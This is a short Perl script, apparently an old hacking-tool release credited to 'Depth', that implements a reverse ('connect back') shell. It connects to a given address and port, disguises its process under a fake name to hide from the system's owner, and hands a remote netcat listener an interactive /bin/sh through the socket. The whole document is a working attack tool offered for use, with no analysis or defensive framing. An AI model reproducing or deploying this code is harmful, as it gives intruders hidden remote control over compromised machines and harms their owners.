cb_chell.pl

#!/usr/bin/perl
#
# Connect back shell version 0.0
# Created by Depth
# Full hide version
# Use: cb_shell.pl <address> <port> <fake_name>
# netcat -l -p <port> (localhost)
#

use IO::Socket;
$0 = $ARGV[2];
my $sock = new IO::Socket::INET (PeerAddr => $ARGV[0],PeerPort => $ARGV[1],Proto => 'tcp');
connect(CLIENT,$sockaddr);

print $sock ":: Depth :: Connect Back Shell ::\n";
if(fork() == 0){
 STDIN->fdopen($sock,w);
 STDOUT->fdopen($sock,w);
 STDERR->fdopen($sock,w);
 system("/bin/sh");
 close($sock);
 exit;
}